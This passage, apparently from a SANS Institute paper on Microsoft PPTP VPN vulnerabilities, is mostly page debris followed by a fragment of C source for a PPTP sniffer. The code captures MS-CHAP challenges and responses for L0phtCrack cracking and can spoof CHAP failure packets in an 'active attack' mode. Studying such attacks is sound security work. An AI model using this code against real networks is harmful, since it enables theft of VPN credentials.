Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
75
}
else
{
proto = ntoh16(ppp->proto);
chap = (struct ppp_lcp_chap_header *)(pack + sizeof(struct ppp_header));
}
 
dst.s_addr = ip->ip_dst.s_addr;
src.s_addr = ip->ip_src.s_addr;
if (proto == PPP_PROTO_CHAP)
{
switch(ntoh8(chap->code))
{
case PPP_CHAP_CODE_CHALLENGE:
if (debug > 0)
{
printf("%s <- ", inet_ntoa(dst));
printf("%s CHAP Challenge\n", inet_ntoa(src));
}
cache_challenge(ip, gre, chap);
case PPP_CHAP_CODE_RESPONCE:
if (debug > 0)
{
printf("%s <- ",  inet_ntoa(dst));
printf("%s CHAP Responce\n", inet_ntoa(src));
}
v = print_l0phtcrack1(ip, gre, chap);
#ifdef IP_HDRINCL
/* if we are actively attacking them send failure */
if (active_attack && v)
send_chap_failure(ip, gre, chap);
#endif
break;
#ifdef IP_HDRINCL
case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
print_l0phtcrack2(ip, chap);
break;
#endif
}
}
}
0

---